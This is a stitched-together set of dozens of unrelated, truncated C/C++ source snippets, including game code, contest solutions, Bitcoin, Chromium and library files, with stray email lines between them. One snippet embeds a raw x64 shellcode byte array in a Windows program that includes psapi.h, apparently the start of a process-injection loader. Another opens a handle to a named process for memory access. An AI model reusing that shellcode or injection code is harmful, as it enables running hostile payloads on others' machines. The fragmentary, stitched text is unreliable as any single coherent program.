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#pragma once #include"Object.h" class Background: public Object { private: public: void Reset(); void Render(SDL_Renderer* ren); void AimRender(SDL_Renderer* ren); void GunRender(SDL_Renderer* ren); void AimUpdate(int X, int Y); void GunUpdate(int X); };
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// Copyright (c) 2009-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Pat developers // Copyright (c) 2015-2017 The PIVX developers // Copyright (c) 2015-2017 The PAT developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-lice...
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#include <bits/stdc++.h> using namespace std; int main() { int t; cin >> t; while(t--) { string s1,s2; cin >> s1 >> s2; int i,qb=0,qs=0,same=0,dif=0; for(i=0; i<s1.length(); i++) { if(s1[i] == s2[i]) { same++; if(s1[i] == '?') qb++; } if(s1[i] != s2[i]) { dif++; if( (...
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#include <iostream> #include <algorithm> #include <vector> #include <iomanip> #include <math.h> #include <climits> #include <fstream> #include <queue> #include <stdio.h> #include <string.h> #include <list> #include "Matriz.h" using namespace std; struct tMoneda { int valor, cantidad; }; bool resuelveCaso() { int...
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#include "GAMER.h" //------------------------------------------------------------------------------------------------------- // Function : TABLE_02 // Description : Return w0, or w1 according to the inputs "LocalID" and "dim" // // Note : This table is particularly useful when the required values depe...
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#include <iostream> #include "ArrOutput.h" using namespace std; enum { comparesColumn, swapsColumn, bubbleLine = 0, selectLine, insertLine, shellLine, quickLine }; enum { bubbleSort, selectSort, insertSort, shellSort, quickSort }; struct LinkValuesAndSum { int value; int sum; bool listed = false; }; void BubbleS...
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#pragma once #ifndef XG_ROOM_H #define XG_ROOM_H #include <vector> namespace XoGeni { class Room { public: Room(); ~Room(); Room(unsigned int x, unsigned int y, unsigned int width, unsigned int height); unsigned int x, y; unsigned int width, height; unsig...
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// ============================================================================= // PROJECT CHRONO - http://projectchrono.org // // Copyright (c) 2014 projectchrono.org // All rights reserved. // // Use of this source code is governed by a BSD-style license that can be found // in the LICENSE file at the top level of t...
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#ifndef OPENGLGAME_METEO_CONTROLMETEO_H_ #define OPENGLGAME_METEO_CONTROLMETEO_H_ class Fps; class Meteo; namespace control_meteo { const int kMaxMeteoNum = 1000; //隕石の最大出現数 const double kAddScoreMaxDistance = 5; //スコアを加算するプレイヤーと隕石の最大距離 const int kAddScoreFactor = 13; //実際に隕石を格納するデータ構造 //当たり判定に困り仕方なくグロ...
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/* Copyright (c) 2011 NVIDIA Corporation Copyright (c) 2011-2012 Cass Everitt Copyright (c) 2012 Scott Nations Copyright (c) 2012 Mathias Schott Copyright (c) 2012 Nigel Stewart All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the...
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 #include "Effekseer.Effect.h" #include "Effekseer.EffectImplemented.h" #include "SIMD/Effekseer.SIMDUtils.h" #include "Effekseer.EffectNode.h" #include "Effekseer.Instance.h" #include "Effekseer.InstanceChunk.h" #include "Effekseer.InstanceContainer.h" #include "Effekseer.InstanceGlobal.h" #include "Effekseer.Insta...
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/* Author: Maartje ter Hoeve Class that constructs the board. */ #include <iostream> #include <stdexcept> #include "block.h" #include "board.h" using namespace std; //CLASS BLOCK Block::Block() { player = -1; } // Constructor: Set player to a Block::Block(int a) { try { if ((a == 1) || (a == ...
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#include <iostream> #include <algorithm> #include <sstream> #include <numeric> using namespace std; int main(int argc, char *argv[]) { string s; getline(cin, s); stringstream sa(s); int N; sa >> N; string res[6]; for (int i = 0; i < N; ++i) { getline(cin, res[i]); } int ans = N; int m = 1 << (N * (N - 1)...
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#include <iostream> #include <Windows.h> #include <psapi.h> char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1...
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#include "Mat4x4.h" #include "Quat.h" #include "scene.h" #include "sceneNodeComponent.h" #include "transformComponent.h" #include <math.h> TransformComponentMgr g_transformComponentMgr; void TransformComponentMgr::calculateTransformsTraverse(Scene & scene, SceneNode & node, const Mat4x4 & globalTransform) const { au...
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// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/arc/app_permissions/arc_app_permissions_bridge.h" #include "base/memory/singleton.h" #include "components/arc/arc_browser_context_ke...
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#include <stdio.h> #include <stdlib.h> void reajusta20(float *preco, float *reajuste); int main() { float val_preco, val_reaj; do { printf("\nInsira o preco atual: "); scanf_s("%f", &val_preco); /* Envia os enderecos */ reajusta20(&val_preco, &val_reaj); printf("\n O preco novo eh %....
[ "noreply@github.com" ]
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#pragma once namespace K { class Player final : public ActorClient { friend class ObjectManager; public: virtual void Initialize() override; virtual APTR Clone() const override; virtual void Serialize(InputMemoryStream& _imstream) override; virtual void Serialize(OutputMemoryStream& _omstream) override;...
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// CII 3527 // 2005 Central Europe: Find the Clones #include <cstdio> #include <cstring> #include <algorithm> using namespace std; #define N 20005 typedef long long ll; int n, m; int map[100]; short ans[N]; ll num[N]; void get(int x) { num[x] = 0; for (int i = 0; i < m; i++) { char ch = getchar(); num[x] = (num...
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/** THIS IS AN AUTOMATICALLY GENERATED FILE. DO NOT MODIFY * BY HAND!! * * Generated by lcm-gen **/ #include <lcm/lcm_coretypes.h> #ifndef __maebot_laser_scan_t_hpp__ #define __maebot_laser_scan_t_hpp__ #include <vector> class maebot_laser_scan_t { public: int64_t utime; int32_t num...
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#ifndef XUNITASSERT_H_ #define XUNITASSERT_H_ #if defined(_MSC_VER) # if !defined(_ALLOW_KEYWORD_MACROS) # define _ALLOW_KEYWORD_MACROS # endif #define noexcept(x) #endif #include <algorithm> #include <exception> #include <functional> #include <memory> #include <sstream> #include <stdexcept> #include...
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/* Copyright (c) 2018-2019 Xavier Leclercq Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, me...
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#include<iostream> #include<vector> #include<algorithm> #include<string.h> using namespace std; typedef pair<int,int> pii; typedef long long int lld; const int MAXN = 1501; const int INF = 987654321; int n,adj[MAXN][MAXN],dp[MAXN][MAXN],ans=INF; int main(){ ios_base::sync_with_stdio(false); cout.tie(NULL); cin.t...
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// // PROJECT CHRONO - http://projectchrono.org // // Copyright (c) 2013 Project Chrono // All rights reserved. // // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file at the top level of the distribution // and at http://projectchrono.org/license-chrono.txt. // // // ...
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/* * Copyright (c) 2010, 2012-2013 ARM Limited * All rights reserved * * The license below extends only to copyright in the software and shall * not be construed as granting a license to any other intellectual * property including but not limited to intellectual property relating * to a hardware implementation o...
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#pragma once #include "Color.h" class Paddle { private: const int originalWidth; int xPos, yPos, xSpeed; int height, width; int minXLimit, maxXLimit; int maxSpeed; int sizeFrameCount; Color color; public: Paddle(int x, int y, int w, int h, int minX, int maxX, Color c); int getXPos(); int getYPos(); int get...
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inline bool cmp(const int &i, const int &j) { return dfn[i] < dfn[j]; } void build(int vectrices[], int k) { static int stk[MAX_N]; sort(vectrices, vectrices + k, cmp); stk[sz++] = 0; for (int i = 0; i < k; ++i) { int u = vectrices[i], lca = LCA(u, stk[sz - 1]); if (lca == stk[sz - 1]) stk[sz++] = u; ...
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// 2007 Hiroyuki Ogasawara // vim:ts=4 sw=4: #ifndef FL_FLWIILIB_H_ #define FL_FLWIILIB_H_ //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- /*! @brief Wii コントローラの詳細情報を参照します。 */ class flWiiLi...
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#define GeantAnalysis_cxx #include "GeantAnalysis.h" #include <iostream> using namespace std; void GeantAnalysis::Analysis() { Long64_t nEntries = fChain->GetEntries(); ResetBranch(); for(Long64_t i = 0; i < nEntries; i++) { ResetBranch(); fChain->GetEntry(i); hPrimaryEne->Fill(primaryEne); i...
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#pragma warning(disable : 4996) #include <bits/stdc++.h> #define all(x) (x).begin(), (x).end() using namespace std; typedef long long ll; typedef long double ld; typedef vector<ll> vll; typedef vector<vll> vvll; typedef vector<ld> vld; typedef vector<vld> vvld; typedef pair<ll, ll> pll; typedef pair<ld, ld> pld; typede...
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#ifndef INDIVIDUO_H #define INDIVIDUO_H #include <cstdlib> #include <stdio.h> class Individuo { public: Individuo(int pId,unsigned short pCromosoma); Individuo(); unsigned short getCromosoma(); int getId(); double getFitness(); void setFitness(double pFitness); void setId(int id); void ...
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#ifndef ENEMY_HPP # define ENEMY_HPP # include "ACharacter.hpp" # include "Gun.hpp" # include "ft_retro.hpp" class Enemy : public ACharacter { private: int _cyclesToMove; int _cyclesToShoot; public: Enemy(); Enemy(int x, int y); Enemy(const Enemy& a); ~Enemy(); Enemy& operator=(Enemy& a); IGameEntity* ...
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/* * Copyright 2016 Huy Cuong Nguyen * Copyright 2016 ZXing authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless re...
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#include "Manipulator/Manipulater.h" MovableAxis Manipulater::state = NO_AXIS; Manipulater::~Manipulater() { }
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/* Copyright 2005-2012 Intel Corporation. All Rights Reserved. The source code contained or described herein and all documents related to the source code ("Material") are owned by Intel Corporation or its suppliers or licensors. Title to the Material remains with Intel Corporation or its supplier...
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#include<bits/stdc++.h> using namespace std; int main() { int t; cin>>t; while (t--) { int m,n,i,j; cin>>m>>n; char str1[m],str2[n]; for(i=0;i<m;i++) cin>>str1[i]; for(i=0;i<n;i++) cin>>str2[i]; int t[m+1][n+1]; for(i=0;i<=...
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#include <iostream> #include "sample.class.hpp" Sample::Sample(void) { std::cout << "Constructor called" << std::endl; return; } Sample::~Sample(void) { std::cout << "Destructor called" << std::endl; return; } void Sample::bar(void) { std::cout << "Member function bar called\n"; return; }
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/** Which of the favors of your Lord will you deny ? **/ #include<bits/stdc++.h> using namespace std; #define LL long long #define PII pair<int,int> #define PLL pair<LL,LL> #define F first #define S second #define ALL(x) (x).begin(), (x).end() #define READ freopen("alu.txt", "r", stdin) #define WRITE ...
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// Supported with union (c) 2018 Union team #ifndef __ZSKY__OUTDOOR_H__VER0__ #define __ZSKY__OUTDOOR_H__VER0__ namespace Gothic_I_Classic { const int zEFFECT_BOX_SIDES = 2500; const int zEFFECT_BOX_HEIGHT = 1000; const int zMAX_FLY_PARTICLE = 1024; const int zMAX_IMPACT_PARTICLE = 1024; const int z...
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#pragma once namespace trew { class Vector2 { public: Vector2(); Vector2(float x, float y); virtual ~Vector2() = default; virtual Vector2 operator+(const Vector2& b) const; virtual Vector2 operator-(const Vector2& b) const; virtual Vector2 operator*(float scalar) const; virtual void operator*=(fl...
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#include "utils.h" std::vector<std::string> split(const std::string& str, const std::string& delimiters){ std::vector<std::string> parts; size_t start = 0, end = 0; while (end < str.size()) { end = start; while (end < str.size() && (delimiters.find(str[end]) == std::string::npos)) { ...
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//----------------------------------*-C++-*----------------------------------// // Copyright 2022-2023 UT-Battelle, LLC, and other Celeritas developers. // See the top-level COPYRIGHT file for details. // SPDX-License-Identifier: (Apache-2.0 OR MIT) //--------------------------------------------------------------------...
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#include "stdafx.h" #include "afxpriv.h" //------------------------------------------------------------------------------ static CSliderData sliderData [] = { {IDC_OBJ_STRENGTH_SLIDER, 0, 8, 1, null}, {IDC_OBJ_MASS_SLIDER, 10, 20, 1, null}, {IDC_OBJ_DRAG_SLIDER, 1, 13, F1_0 / 100, null}, {IDC_OBJ_EBLOBS_SLIDER, 0...
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#ifndef __METIN2_BUFF_ON_ATTRIBUTES_H #define __METIN2_BUFF_ON_ATTRIBUTES_H class CHARACTER; class CBuffOnAttributes { public: CBuffOnAttributes(LPCHARACTER pOwner, BYTE m_point_type, std::vector <BYTE>* vec_buff_targets); ~CBuffOnAttributes(); // 장착 중 이면서, m_p_vec_buff_wear_targets에 해당하는 아이템인 경우, 해당 아이템으로 인해 붙은 ...
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#include "Display.h" #include "World.h" const int maxRow = 60; const int maxCow = 70; const int minRow = 10; const int minCow = 10; int main(int argc, char* argv[]) { if(argc == 2){ Display display(argv[1]); display.animation(); }else if(argc == 1){ srand(time(NULL)); Display dis...
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#pragma once #include <Coherent/UIGT/ResourceHandler.h> #include <string> #include <fstream> // Inherint the base ResouceHandler class and use a custom implementation // of OnResourceRead to read files. class FileResourceHandler : public Coherent::UIGT::ResourceHandler { public: virtual void OnResourceRead( const ...
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// Copyright (C) 2012-2018 Promotion Software GmbH //[-------------------------------------------------------] //[ Header guard ] //[-------------------------------------------------------] #pragma once //[-------------------------------------------------------] //[ Includes...
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// written by bastiaan konings schuiling 2008 - 2015 // this work is public domain. the code is undocumented, scruffy, untested, and should generally not be used for anything important. // i do not offer support, so don't ask. to be used for inspiration :) #ifndef _HPP_MENU_LEAGUE_CALENDAR #define _HPP_MENU_LEAGUE_CAL...
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// ClientServer wrapper for vtkAngleRepresentation2D object // #define VTK_WRAPPING_CXX #define VTK_STREAMS_FWD_ONLY #include "vtkAngleRepresentation2D.h" #include "vtkSystemIncludes.h" #include "vtkClientServerInterpreter.h" #include "vtkClientServerStream.h" vtkObjectBase *vtkAngleRepresentation2DClientServerNewCom...
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#include "showbaseclass.h" #include <QTextStream> #include <QRegularExpression> #include <QFile> #include <QFileInfo> #include <QDebug> #include "showprimarypanel.h" #include "track.h" #include "ledtrack.h" #include "motortrack.h" #include "wavtrack.h" ShowBaseClass::ShowBaseClass(QObject *parent, QString filepath) : ...
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#include<iostream> using namespace std; int main(){ cout<<"Wodka!"<<endl; return 0; }
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// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2019 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. // Compile-time verification of assumptions we make. #ifndef BITCOIN_COMPAT_ASSU...
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/* @copyright Louis Dionne 2014 Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt) */ #include <boost/hana/ext/boost/fusion.hpp> #include <boost/hana/detail/constexpr.hpp> #include "../helper.hpp" #include <cassert> using namespa...
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#include <iostream> #include <vector> using namespace std; /* * @lc app=leetcode id=31 lang=cpp * * [31] Next Permutation */ class Solution { private: void swap(int &a, int &b) { a = a ^ b; b = a ^ b; a = a ^ b; } void sortquick(vector<int> &nums, int start, int end) { ...
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/********************************************************************** *< FILE: EvalCol.cpp DESCRIPTION: Vertex Color Renderer CREATED BY: Christer Janson HISTORY: Created Monday, December 12, 1996 *> Copyright (c) 1997 Kinetix, All Rights Reserved. *************************************************...
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/* * Copyright 2013-present Facebook, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable...
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// FensteranpassungView.cpp : Implementierung der Klasse CFensteranpassungView // #include "stdafx.h" #include "Fensteranpassung.h" #include "FensteranpassungDoc.h" #include "FensteranpassungView.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif //////...
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#ifndef UIFUN_H #define UIFUN_H #include "bggen.h" #include "bstui.h" #ifndef DISPLAY #include "picflow.h" #endif #include <QTime> #include <QVector> #include <QDir> #include <QKeyEvent> #ifdef SUPPORT_WIDGET #include <QUiLoader> #endif #ifdef SURRPORT_3D #include <QtOpenGL> #include <QGLWidget> #...
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// Copyright (c) 2014-2016 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "chainparams.h" #include "validation.h" #include "net.h" #include "test/test_bitcoin.h" #include <boost/signals2/s...
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/**************************************************************************************/ /* */ /* Visualization Library */ /* http://visualizationlibrary.org ...
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/** * @file storeslushdmx.h * */ /* Copyright (C) 2019 by Arjan van Vught mailto:info@orangepi-dmx.nl * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including w...
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#include <cstdio> #include <algorithm> #include <iostream> #include <vector> #include <map> #include <unordered_map> #include <cmath> #include <queue> #include <set> using namespace std; typedef long long ll; #define INF int(1e9) #define REP(i, n) for(int i = 0; i < (int)(n); i++) #define REPR(i, n) for(int i = n - 1;...
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// // The MIT License (MIT) // // Copyright (c) 2014-2016 Brno University of Technology, PRISTINE project // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including ...
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#include "screen.h" #include "adafruit_1431_Obj.h" #include "adafruit_684_Obj.h" #include "adafruit_1947_Obj.h" #include <LC_SPI.h> #include <SD.h> displayObj* screen = NULL; bool initScreen(byte hardware, byte csPin, byte inRotation) { return initScreen(hardware,csPin, -1,inRotation); } bool initScreen(byte ...
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#ifndef __BSL_VS_MATH_H__ #define __BSL_VS_MATH_H__ #include <Lsc/var/IVar.h> #include <Lsc/ResourcePool.h> namespace Lsc{ namespace vs{ Lsc::var::IVar& int8_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); ...
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#ifndef DAV_IO_H #define DAV_IO_H #include <string> #include <iosfwd> #include <iterator> #include <memory> #include <cassert> #include "lib.hpp" namespace dav { namespace io { template<typename T> class ReadContainer { public: virtual ~ReadContainer( ) { } virtual size_t pos( ) const { return -1; ...
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#include "StdAfx.h" #include "ImportMultitermFile.h" #include "MockListener.h" #include "memory_local.h" #include "felix_factory.h" #ifdef UNIT_TEST #include <boost/test/unit_test.hpp> #include "input_device_fake.h" BOOST_AUTO_TEST_SUITE( TestCImportMultitermFile ) using namespace mem_engine ; BOO...
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//////////////////////////////////////////////////////////////////////////////// // interface.hpp // (C) Copyright Gennadiy Rozental 2001-2014. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // See ...
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#ifndef WRITE #define WRITE class Write { public: virtual void write(const std::string filename)=0; virtual void write(const std::string filename,const std::string location)=0; virtual bool checkExistance(const std::string filename,const std::string location)=0; }; #endif
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#include <os> #include <stdio.h> class CustomException : public std::runtime_error { using runtime_error::runtime_error; }; void Service::start() { printf("TESTING Exceptions \n"); const char* error_msg = "Crazy Error!"; try { printf("[x] Inside try-block \n"); if (OS::uptime() > 0.1){ ...
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/** * Copyright (c) 2017-present, Facebook, Inc. and its affiliates. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #include "logdevice/admin/safety/SafetyChecker.h" #include <boost/format.hpp> #includ...
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#pragma once #include "strings.hpp" namespace mstd { template<class T> class wide_stream_impl { public: explicit wide_stream_impl(T & impl) : impl_(impl) {} T & impl() { return impl_; } private: T & impl_; }; template<class T> wide_stream_impl<T> wide_stream...
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// // Created by chezi on 2017/9/13. // #include <jni.h> #include <mp4v2/mp4v2.h> #include "MP4Encoder.h" #include "android/log.h" #define LOG_TAG "MP4EncoderHelper.cpp" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__); MP4Encoder mp4Encoder; MP4FileHandle mp4FileHandle; extern "C" JNI...
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#include<bits/stdc++.h> #define LL long long #define ms(s) memset(s, 0, sizeof(s)) #define REP(i, a, b) for(int i = (a); i < (b); i++) #define INF 0X7fffffff using namespace std; const int maxn = 1e6 + 10; int rain[maxn]; int pre[maxn]; int ans[maxn]; int main() { // freopen("in.txt", "r", stdin); // freopen("...
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#include "stack.h" using namespace std; int main(){ Stack asdf; asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e')...
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#include <iostream> #include <fstream> using namespace std; void printSpiral(int data[][10], int size) { int startingRow = 0, startingCol =0, endingRow = size-1, endingCol = size-1; int i; while((startingRow <= endingRow) && (startingCol <= endingCol)) { for(i = startingCol; i <= endingCol...
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// -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- // vim: ts=8 sw=2 smarttab /* * Ceph - scalable distributed file system * * Copyright (C) 2011 Sage Weil <sage@newdream.net> * * This is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Publi...
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#include "Memory_Win.h" #include <cassert> #include <Utils.h> [[nodiscard]] bool MemoryImpl::Init(std::string processName) { processName += ".exe"; // First, get the handle of the process PROCESSENTRY32 entry; entry.dwSize = sizeof(entry); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_...
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// // Created by 韩雨萱 on 11/4/21. // #ifndef FEDTREE_DISTRIBUTED_SERVER_H #define FEDTREE_DISTRIBUTED_SERVER_H #include <grpcpp/grpcpp.h> #include <grpcpp/security/server_credentials.h> #include <grpcpp/server.h> #include <grpcpp/server_builder.h> #include <grpcpp/server_context.h> #include "FedTree/FL/server.h" #inc...
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//#include "Solicitud.h" #include <iostream> #include <stdlib.h> #include <string.h> using namespace std; //const char ip1[16] = "10.100.74.141"; //const char ip2[16] = "10.100.74.144"; //const char ip2[16] = "10.100.74.145"; //const char servidor1[16] = "Servidor1.txt"; //const char servidor2[16] = "Servidor2.txt"; /...
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#include <babylon/samples/specialfx/wave_of_sprites_scene.h> #include <babylon/cameras/arc_rotate_camera.h> #include <babylon/engines/scene.h> #include <babylon/lights/hemispheric_light.h> #include <babylon/sprites/sprite_manager.h> namespace BABYLON { namespace Samples { WaveOfSpritesScene::WaveOfSpritesScene(ICanv...
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// Motion.cpp : Defines the entry point for the application. // #include "stdafx.h" //#include "path.h" //#include "NMCCOMTYPES.h" //#include "nmcServo.h" //#include "Picservo.h" //#include "nmccom.h" //#include "ServoInf.h" //#include "PathPoint.h" #include <math.h> #include "MillCmd.h" #include "MillCmdCtrl.h" #incl...
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// Copyright 2011 The Chromium Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // The main idea in Courgette is to do patching *under a tranformation*. The // input is transformed into a new representation, patching occurs in the new // repesentation, an...
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/********************************************************* * AUTHOR : Dori J. Mouawad * Assignment#3 : Stacks * CLASS : CS1D * SECTION : TTH: 5:30-9:20pm * Due Date : 2/10/2015 *********************************************************/ #include "header.h" void PrintMenu(int &selection) {...
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// Copyright 2017 Google Inc. All Rights Reserved. // // Use of this source code is governed by an MIT-style // license that can be found in the LICENSE file or at // https://opensource.org/licenses/MIT. #ifndef PIK_YUV_OPSIN_CONVERT_H_ #define PIK_YUV_OPSIN_CONVERT_H_ #include "pik/image.h" namespace pik { Image3B...
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#include "UniformData.h" #include "GL\glew.h" #include "GameLogger.h" #include <assert.h> #include "MyGL.h" namespace Engine { UniformData::UniformData() : m_uniformType(GL_FLOAT_VEC3), m_pUniformData(nullptr), m_uniformDataLoc(0) { } UniformData::UniformData(GLenum type, void * dataAddress, int dataLoc, bool l...
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#include <SoftwareSerial.h> #include <SPI.h> #include "mcp2515_can.h" #include "Move.h" #include "Lights.h" SoftwareSerial bt(0, 1); const int SPI_CS_PIN = 10; mcp2515_can CAN(SPI_CS_PIN); void setup() { // put your setup code here, to run once: Serial.begin(9600); bt.begin(9600); while (CAN_OK != CA...
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// // Created by ausro on 7/12/2018. // #ifndef C_RPGGAME_MELEECLASS_H #define C_RPGGAME_MELEECLASS_H #include <iostream> #include "Character.h" class MeleeClass: public Character { private: public: MeleeClass(); ~MeleeClass(); void Initialize(std::string name); void PrintStats(); }; #endif //C...
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#include "TicTacToeBoard.h" TicTacToeBoard::TicTacToeBoard() { Board1 = { {' ', ' ', ' '}, {' ', ' ', ' '}, {' ', ' ', ' '} }; } const void TicTacToeBoard::getTitle() { std::cout << mainTitle; } void TicTacToeBoard::PrintBoard(const TicTacToeBoard& B1) const { std::cout << B1; } int TicTacToeBoard::getMov...
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// Copyright (c) 2011-2019 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <qt/walletframe.h> #include <qt/walletmodel.h> #include <qt/bitcoingui.h> #include <qt/walletview.h> #include <cas...
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#ifndef LIST_H #define LIST_H #include"Coordinate.h" template<typename T> class List{ public: List(int size); ~List(); void ClearList(); bool ListEmpty(); int ListLength(); bool GetElem(int i,T *e); int LocateElem(T *e); bool PriorElem(T *currentElem,T *preElem); bool NextElem(T *cu...
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#include "uscxml/Common.h" #include "uscxml/config.h" #include "SWIDataModel.h" #include "uscxml/Message.h" #include <glog/logging.h> #ifdef BUILD_AS_PLUGINS #include <Pluma/Connector.hpp> #endif namespace uscxml { #ifdef BUILD_AS_PLUGINS PLUMA_CONNECTOR bool connect(pluma::Host& host) { host.add( new SWIDataModelP...
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#include <iostream> #include <cstdio> using namespace std; int price[1000] = {0,1,5,8,9,10,17,17,20,24,30}; int cutRod(int length,int *r,int *s){ r[0] = 0; s[0] = 0; int q,i,j; if( 0 == length){ return 0; } for(i = 1 ; i <= length ; i++){ q = -1; for(j = 1 ; j <= ...
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#include"myKinect.h" #include"wifi.h" #include <ctime> //用于时间函数 #include<sstream> //用以类型转换 #include <fstream> #define peopleDisThd 2500 //画面检测人的深度阈值 先用ruler做测试 #define peopleTimThd 10 //筛选时间阈值 #define screenFilePath "E://projectTest//" /*///////////////////////////////////////////////////////////////////////// 程序使用...
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/* $Id: agp_load_page.cpp 38672 2017-06-07 21:13:40Z katargir $ * =========================================================================== * * PUBLIC DOMAIN NOTICE * National Center for Biotechnology Information * * This software/database is a "United States Governmen...
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#include <bits/stdc++.h> using namespace std; #define IOS ios::sync_with_stdio(0); cin.tie(0); #define endl "\n" #define int long long int a, b, c, k; int F(int x) { return a * x * x + b * x + c; } int binarySearch() { if (c >= k) return 0; int l = 1; int h = ceil(sqrt(k)); while (l <= h) { int mid = l + ...
[ "mittalsagar006@gmail.com" ]
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